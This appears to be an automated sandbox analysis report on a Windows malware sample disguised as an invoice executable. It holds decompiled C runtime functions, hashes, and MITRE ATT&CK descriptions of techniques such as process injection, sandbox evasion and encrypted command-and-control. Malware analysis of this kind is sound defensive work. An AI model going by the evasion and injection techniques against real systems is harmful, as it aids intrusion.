0x00405dbd
0x00405dc1
0x00405df8
0x00405dfb
0x00405dfd
0x00405e04
0x00405e09
0x00405e0c
0x00405e0e
0x00000000
0x00000000
0x00000000
0x00000000
0x00405dff
0x00405dff
0x00405e10
0x00405e10
0x00405e12
0x00405e73
0x00405e78
0x00405e14
0x00405e14
0x00405e18
0x00405e2e
0x00405e2e
0x00405e32
0x00405e34
0x00405e37
0x00405e38
0x00405e3c
0x00405e43
0x00405e45
0x00405e45
0x00405e43
0x00405e4c
0x00405e4e
0x00000000
0x00405e50
0x00405e50
0x00405e50
0x00405e55
0x00405e57
0x00405e59
0x00405e59
0x00405e61
0x00405e66
0x00405e69
0x00405e6b
0x00000000
0x00000000
0x00405e6d
0x00405e6f
0x00405e71
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00405e71
0x00000000
0x00405e50
0x00405e1a
0x00405e1f
0x00405e24
0x00405e27
0x00405e2a
0x00405e2c
0x00000000
0x00000000
0x00000000
0x00000000
0x00405e2c
0x00405e18
0x00405e12
0x00405dc3
0x00405dc9
0x00405dcb
0x00405dcc
0x00405dcd
0x00405dd4
0x00405ddb
0x00405ddd
0x00405de5
0x00405de7
0x00000000
0x00405ded
0x00405ded
0x00405df0
0x00405df7
0x00405df7
0x00405de7
0x00405dc1
0x00405d3a
0x00405d3c
0x00405d3e
0x00405d3e
0x00405d43
0x00405e79
0x00405e7a
0x00405e7a
0x00405e7e
0x00405d49
0x00405d4d
0x00405d77
0x00405d79
0x00405da7
0x00405dac
0x00405d7b
0x00405d80
0x00405d80
0x00405d87
0x00405d89
0x00405d89
0x00405d91
0x00405d96
0x00405d9b
0x00000000
0x00000000
0x00405da1
0x00405da5
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00405da5
0x00000000
0x00405d80
0x00405d4f
0x00405d54
0x00405d59
0x00405d5c
0x00405d61
0x00000000
0x00405d67
0x00405d6f
0x00405d74
0x00000000
0x00405d74
0x00405d61
0x00405d4d
0x00405d43
0x00405d38
0x00405d20
0x00405d14
0x00000000

APIs

_malloc.LIBCMT ref: 00405D54
_memset.LIBCMT ref: 00405D6F
_fseek.LIBCMT ref: 00405DDD

Memory Dump Source

Source File: 0000000B.00000001.765273989.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000001.765309710.0000000000426000.00000040.00020000.sdmp Download File

Similarity

API ID: _fseek_malloc_memset
String ID:
API String ID: 208892515-0
Opcode ID: 9fe2477137ff98b8fe919820eb2b1ff53dfeab7efe35faa63f44dd20cd1a70ab
Instruction ID: b5a371ba5f9a3ad1fa090fb1a89082137fe8d6c03bc5c52cd66242ccf2a60741
Opcode Fuzzy Hash: 9fe2477137ff98b8fe919820eb2b1ff53dfeab7efe35faa63f44dd20cd1a70ab
Instruction Fuzzy Hash: 3541A572600F018AD630972EE804B2772E5DF90364F140A3FE9E6E27D5E738E9458F89

Uniqueness

Uniqueness Score: -1.00%

Function 0040BAAA, Relevance: 6.1, APIs: 4, Instructions: 137
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E0040BAAA(signed int __edx, signed int _a4, signed int _a8, signed int _a12, intOrPtr* _a16) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t59;
				intOrPtr* _t61;
				signed int _t63;
				void* _t68;
				signed int _t69;
				signed int _t72;
				signed int _t74;
				signed int _t75;
				signed int _t77;
				signed int _t78;
				signed int _t81;
				signed int _t82;
				signed int _t84;
				signed int _t88;
				signed int _t97;
				signed int _t98;
				signed int _t99;
				intOrPtr* _t100;
				void* _t101;

				_t90 = __edx;
				if(_a8 == 0 || _a12 == 0) {
					L4:
					return 0;
				} else {
					_t100 = _a16;
					_t105 = _t100;
					if(_t100 != 0) {
						_t82 = _a4;
						__eflags = _t82;
						if(__eflags == 0) {
							goto L3;
						}
						_t63 = _t59 | 0xffffffff;
						_t90 = _t63 % _a8;
						__eflags = _a12 - _t63 / _a8;
						if(__eflags > 0) {
							goto L3;
						}
						_t97 = _a8 * _a12;
						__eflags =  *(_t100 + 0xc) & 0x0000010c;
						_v8 = _t82;
						_v16 = _t97;
						_t81 = _t97;
						if(( *(_t100 + 0xc) & 0x0000010c) == 0) {
							_v12 = 0x1000;
						} else {
							_v12 =  *(_t100 + 0x18);
						}
						__eflags = _t97;
						if(_t97 == 0) {
							L32:
							return _a12;
						} else {
							do {
								_t84 =  *(_t100 + 0xc) & 0x00000108;
								__eflags = _t84;
								if(_t84 == 0) {
									L18:
									__eflags = _t81 - _v12;
									if(_t81 < _v12) {
										_t68 = E0040F0AD(_t90, _t97,  *_v8, _t100);
										__eflags = _t68 - 0xffffffff;
										if(_t68 == 0xffffffff) {
											L34:
											_t69 = _t97;
											L35:
											return (_t69 - _t81) / _a8;
										}
										_v8 = _v8 + 1;
										_t72 =  *(_t100 + 0x18);
										_t81 = _t81 - 1;
										_v12 = _t72;
										__eflags = _t72;
										if(_t72 <= 0) {
											_v12 = 1;
										}
										goto L31;
									}
									__eflags = _t84;
									if(_t84 == 0) {
										L21:
										__eflags = _v12;
										_t98 = _t81;
										if(_v12 != 0) {
											_t75 = _t81;
											_t90 = _t75 % _v12;
											_t98 = _t98 - _t75 % _v12;
											__eflags = _t98;
										}
										_push(_t98);
										_push(_v8);
										_push(E0040FA20(_t90, _t98, _t100));
										_t74 = E0040F944(_t81, _t90, _t98, _t100, __eflags);
										_t101 = _t101 + 0xc;
										__eflags = _t74 - 0xffffffff;
										if(_t74 == 0xffffffff) {
											L36:
											 *(_t100 + 0xc) =  *(_t100 + 0xc) | 0x00000020;
											_t69 = _v16;
											goto L35;
										} else {
											_t88 = _t98;
											__eflags = _t74 - _t98;
											if(_t74 <= _t98) {
												_t88 = _t74;
											}
											_v8 = _v8 + _t88;
											_t81 = _t81 - _t88;
											__eflags = _t74 - _t98;
											if(_t74 < _t98) {
												goto L36;
											} else {
												L27:
												_t97 = _v16;
												goto L31;
											}
										}
									}
									_t77 = E0040C1FB(_t100);
									__eflags = _t77;
									if(_t77 != 0) {
										goto L34;
									}
									goto L21;
								}
								_t78 =  *(_t100 + 4);
								__eflags = _t78;
								if(__eflags == 0) {
									goto L18;
								}
								if(__eflags < 0) {
									_t48 = _t100 + 0xc;
									 *_t48 =  *(_t100 + 0xc) | 0x00000020;
									__eflags =  *_t48;
									goto L34;
								}
								_t99 = _t81;
								__eflags = _t81 - _t78;
								if(_t81 >= _t78) {
									_t99 = _t78;
								}
								E0040B350(_t81, _t99, _t100,  *_t100, _v8, _t99);
								 *(_t100 + 4) =  *(_t100 + 4) - _t99;
								 *_t100 =  *_t100 + _t99;
								_t101 = _t101 + 0xc;
								_t81 = _t81 - _t99;
								_v8 = _v8 + _t99;
								goto L27;
								L31:
								__eflags = _t81;
							} while (_t81 != 0);
							goto L32;
						}
					}
					L3:
					_t61 = E0040BFC1(_t105);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					 *_t61 = 0x16;
					E0040E744(_t90, 0, _t100);
					goto L4;
				}
			}

0x0040baaa
0x0040baba
0x0040bae0
0x00000000
0x0040bac1
0x0040bac1
0x0040bac4
0x0040bac6
0x0040bae7
0x0040baea
0x0040baec
0x00000000
0x00000000
0x0040baee
0x0040baf3
0x0040baf6
0x0040baf9
0x00000000
0x00000000
0x0040bafe
0x0040bb02
0x0040bb09
0x0040bb0c
0x0040bb0f
0x0040bb11
0x0040bb1b
0x0040bb13
0x0040bb16
0x0040bb16
0x0040bb22
0x0040bb24
0x0040bbe9
0x00000000
0x0040bb2a
0x0040bb2a
0x0040bb2d
0x0040bb2d
0x0040bb33
0x0040bb64
0x0040bb64
0x0040bb67
0x0040bbc0
0x0040bbc7
0x0040bbca
0x0040bbf5
0x0040bbf5
0x0040bbf7
0x00000000
0x0040bbfb
0x0040bbcc
0x0040bbcf
0x0040bbd2
0x0040bbd3
0x0040bbd6
0x0040bbd8
0x0040bbda
0x0040bbda
0x00000000
0x0040bbd8
0x0040bb69
0x0040bb6b
0x0040bb78
0x0040bb78
0x0040bb7c
0x0040bb7e
0x0040bb82
0x0040bb84
0x0040bb87
0x0040bb87
0x0040bb87
0x0040bb89
0x0040bb8a
0x0040bb94
0x0040bb95
0x0040bb9a
0x0040bb9d
0x0040bba0
0x0040bc03
0x0040bc03
0x0040bc07
0x00000000
0x0040bba2
0x0040bba2
0x0040bba4
0x0040bba6
0x0040bba8
0x0040bba8
0x0040bbaa
0x0040bbad
0x0040bbaf
0x0040bbb1
0x00000000
0x0040bbb3
0x0040bbb3
0x0040bbb3
0x00000000
0x0040bbb3
0x0040bbb1
0x0040bba0
0x0040bb6e
0x0040bb74
0x0040bb76
0x00000000
0x00000000
0x00000000
0x0040bb76
0x0040bb35
0x0040bb38
0x0040bb3a
0x00000000
0x00000000
0x0040bb3c
0x0040bbf1
0x0040bbf1
0x0040bbf1
0x00000000
0x0040bbf1
0x0040bb42
0x0040bb44
0x0040bb46
0x0040bb48
0x0040bb48
0x0040bb50
0x0040bb55
0x0040bb58
0x0040bb5a
0x0040bb5d
0x0040bb5f
0x00000000
0x0040bbe1
0x0040bbe1
0x0040bbe1
0x00000000
0x0040bb2a
0x0040bb24
0x0040bac8
0x0040bac8
0x0040bacd
0x0040bace
0x0040bacf
0x0040bad0
0x0040bad1
0x0040bad2
0x0040bad8
0x00000000
0x0040badd

APIs

__flush.LIBCMT ref: 0040BB6E
__fileno.LIBCMT ref: 0040BB8E
__locking.LIBCMT ref: 0040BB95
__flsbuf.LIBCMT ref: 0040BBC0

Part of subcall function 0040BFC1: __getptd_noexit.LIBCMT ref: 0040BFC1

Part of subcall function 0040E744: __decode_pointer.LIBCMT ref: 0040E74F

Memory Dump Source

Source File: 0000000B.00000001.765273989.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000001.765309710.0000000000426000.00000040.00020000.sdmp Download File

Similarity

API ID: __decode_pointer__fileno__flsbuf__flush__getptd_noexit__locking
String ID:
API String ID: 3240763771-0
Opcode ID: ce0de872f2bf1c80b5409081606229fa9c8f65028ffa0700073288fbc1af180c
Instruction ID: 72eaa501f89e5d914343e0f007c81726c853b1270fdaa85e4c7363b387074608
Opcode Fuzzy Hash: ce0de872f2bf1c80b5409081606229fa9c8f65028ffa0700073288fbc1af180c
Instruction Fuzzy Hash: B441A331A006059BDF249F6A88855AFB7B5EF80320F24853EE465B76C4D778EE41CB8C

Uniqueness

Uniqueness Score: -1.00%

Function 0041529F, Relevance: 6.1, APIs: 4, Instructions: 103
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0041529F(short* _a4, char* _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				signed int _v12;
				char _v20;
				char _t43;
				char _t46;
				signed int _t53;
				signed int _t54;
				intOrPtr _t56;
				int _t57;
				int _t58;
				signed short* _t59;
				short* _t60;
				int _t65;
				char* _t72;

				_t72 = _a8;
				if(_t72 == 0 || _a12 == 0) {
					L5:
					return 0;
				} else {
					if( *_t72 != 0) {
						E0040EC86( &_v20, _a16);
						_t43 = _v20;
						__eflags =  *(_t43 + 0x14);
						if( *(_t43 + 0x14) != 0) {
							_t46 = E004153D0( *_t72 & 0x000000ff,  &_v20);
							__eflags = _t46;
							if(_t46 == 0) {
								__eflags = _a4;
								__eflags = MultiByteToWideChar( *(_v20 + 4), 9, _t72, 1, _a4, 0 | _a4 != 0x00000000);
								if(__eflags != 0) {
									L10:
									__eflags = _v8;
									if(_v8 != 0) {
										_t53 = _v12;
										_t11 = _t53 + 0x70;
										 *_t11 =  *(_t53 + 0x70) & 0xfffffffd;
										__eflags =  *_t11;
									}
									return 1;
								}
								L21:
								_t54 = E0040BFC1(__eflags);
								 *_t54 = 0x2a;
								__eflags = _v8;
								if(_v8 != 0) {
									_t54 = _v12;
									_t33 = _t54 + 0x70;
									 *_t33 =  *(_t54 + 0x70) & 0xfffffffd;
									__eflags =  *_t33;
								}
								return _t54 | 0xffffffff;
							}
							_t56 = _v20;
							_t65 =  *(_t56 + 0xac);
							__eflags = _t65 - 1;
							if(_t65 <= 1) {
								L17:
								__eflags = _a12 -  *(_t56 + 0xac);
								if(__eflags < 0) {
									goto L21;
								}
								__eflags = _t72[1];
								if(__eflags == 0) {
									goto L21;
								}
								L19:
								_t57 =  *(_t56 + 0xac);
								__eflags = _v8;
								if(_v8 == 0) {
									return _t57;
								}
								 *((intOrPtr*)(_v12 + 0x70)) =  *(_v12 + 0x70) & 0xfffffffd;
								return _t57;
							}
							__eflags = _a12 - _t65;
							if(_a12 < _t65) {
								goto L17;
							}
							__eflags = _a4;
							_t58 = MultiByteToWideChar( *(_t56 + 4), 9, _t72, _t65, _a4, 0 | _a4 != 0x00000000);
							__eflags = _t58;
							_t56 = _v20;
							if(_t58 != 0) {
								goto L19;
							}
							goto L17;
						}
						_t59 = _a4;
						__eflags = _t59;
						if(_t59 != 0) {
							 *_t59 =  *_t72 & 0x000000ff;
						}
						goto L10;
					} else {
						_t60 = _a4;
						if(_t60 != 0) {
							 *_t60 = 0;
						}
						goto L5;
					}
				}
			}

0x004152a9
0x004152b0
0x004152c7
0x00000000
0x004152b7
0x004152b9
0x004152d3
0x004152d8
0x004152db
0x004152de
0x00415307
0x0041530e
0x00415310
0x00415391
0x004153ac
0x004153ae
0x004152ee
0x004152ee
0x004152f1
0x004152f3
0x004152f6
0x004152f6
0x004152f6
0x004152f6
0x00000000
0x004152fc
0x00415370
0x00415370
0x00415375
0x0041537b
0x0041537e
0x00415380
0x00415383
0x00415383
0x00415383
0x00415383
0x00000000
0x00415387
0x00415312
0x00415315
0x0041531b
0x0041531e
0x00415345
0x00415348
0x0041534e
0x00000000
0x00000000
0x00415350
0x00415353
0x00000000
0x00000000
0x00415355
0x00415355
0x0041535b
0x0041535e
0x004152cc
0x004152cc
0x00415367
0x00000000
0x00415367
0x00415320
0x00415323
0x00000000
0x00000000
0x00415327
0x00415338
0x0041533e
0x00415340
0x00415343
0x00000000
0x00000000
0x00000000
0x00415343
0x004152e0
0x004152e3
0x004152e5
0x004152eb
0x004152eb
0x00000000
0x004152bb
0x004152bb
0x004152c0
0x004152c4
0x004152c4
0x00000000
0x004152c0
0x004152b9

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 004152D3
__isleadbyte_l.LIBCMT ref: 00415307
MultiByteToWideChar.KERNEL32(00000080,00000009,?,?,?,00000000,?,?,?,?), ref: 00415338
MultiByteToWideChar.KERNEL32(00000080,00000009,?,00000001,?,00000000,?,?,?,?), ref: 004153A6

Memory Dump Source

Source File: 0000000B.00000001.765273989.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000001.765309710.0000000000426000.00000040.00020000.sdmp Download File

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 2839bf6a935194de417e4e3b9e78947074703b487fc663d1488f120054b34ef5
Instruction ID: 094900ada7e667e90e346a2540d450e67f5821ec0926a3c2ae07879bc245b0d1
Opcode Fuzzy Hash: 2839bf6a935194de417e4e3b9e78947074703b487fc663d1488f120054b34ef5
Instruction Fuzzy Hash: 1831A032A00649EFDB20DFA4C8809EE7BB5EF41350B1885AAE8659B291D374DD80DF59

Uniqueness

Uniqueness Score: -1.00%

Function 004134DB, Relevance: 6.0, APIs: 4, Instructions: 49
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004134DB(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28) {
				intOrPtr _t25;
				void* _t26;
				void* _t28;

				_t25 = _a16;
				if(_t25 == 0x65 || _t25 == 0x45) {
					_t26 = E00412DCC(_t28, __eflags, _a4, _a8, _a12, _a20, _a24, _a28);
					goto L9;
				} else {
					_t34 = _t25 - 0x66;
					if(_t25 != 0x66) {
						__eflags = _t25 - 0x61;
						if(_t25 == 0x61) {
							L7:
							_t26 = E00412EBC(_t28, _a4, _a8, _a12, _a20, _a24, _a28);
						} else {
							__eflags = _t25 - 0x41;
							if(__eflags == 0) {
								goto L7;
							} else {
								_t26 = E004133E1(_t28, __eflags, _a4, _a8, _a12, _a20, _a24, _a28);
							}
						}
						L9:
						return _t26;
					} else {
						return E00413326(_t28, _t34, _a4, _a8, _a12, _a20, _a28);
					}
				}
			}

0x004134e0
0x004134e6
0x00413559
0x00000000
0x004134ed
0x004134ed
0x004134f0
0x0041350b
0x0041350e
0x0041352e
0x00413540
0x00413510
0x00413510
0x00413513
0x00000000
0x00413515
0x00413527
0x00413527
0x00413513
0x0041355e
0x00413562
0x004134f2
0x0041350a
0x0041350a
0x004134f0

APIs

__cftof_l.LIBCMT ref: 00413501

Part of subcall function 00413326: __fltout2.LIBCMT ref: 00413352

__cftog_l.LIBCMT ref: 00413527
__cftoe_l.LIBCMT ref: 00413559

Memory Dump Source

Source File: 0000000B.00000001.765273989.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000001.765309710.0000000000426000.00000040.00020000.sdmp Download File

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction ID: bfd0e68975b3765f24e543ba70b005e9871d43ed2f52156b65e62ceec70126f9
Opcode Fuzzy Hash: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction Fuzzy Hash: DA117E7200014EBBCF125E85CC418EE3F27BF18755B58841AFE2858130D73BCAB2AB89

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Analysis Report PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe

Overview

General Information

Detection

Signatures

Classification

Startup

Malware Configuration

Yara Overview

Memory Dumps

Unpacked PEs

Sigma Overview

Signature Overview

AV Detection:

Networking:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

Contacted IPs

Public

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Authenticode Signature

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTPS Packets

Code Manipulations

Statistics

CPU Usage

Memory Usage

Function 004019F0, Relevance: 146.0, APIs: 34, Strings: 49, Instructions: 747
comprocessCOMMON

Function 004018F0, Relevance: 6.3, APIs: 5, Instructions: 77
stringCOMMON

Function 0040AF66, Relevance: 6.0, APIs: 4, Instructions: 34
COMMON

Function 0040D534, Relevance: 1.5, APIs: 1, Instructions: 20
memoryCOMMON

Function 004104E0, Relevance: 1.5, APIs: 1, Instructions: 4
COMMON

Function 0040CE09, Relevance: 7.6, APIs: 5, Instructions: 58
COMMON

Function 00408C60, Relevance: 2.9, Strings: 2, Instructions: 377
COMMONCrypto

Function 0040ADB0, Relevance: 2.5, APIs: 2, Instructions: 23
memoryCOMMON

Function 004123F1, Relevance: 1.5, APIs: 1, Instructions: 4
COMMON

Function 00407C3F, Relevance: .8, Instructions: 783
COMMONCrypto

Function 004073A0, Relevance: .6, Instructions: 633
COMMONCrypto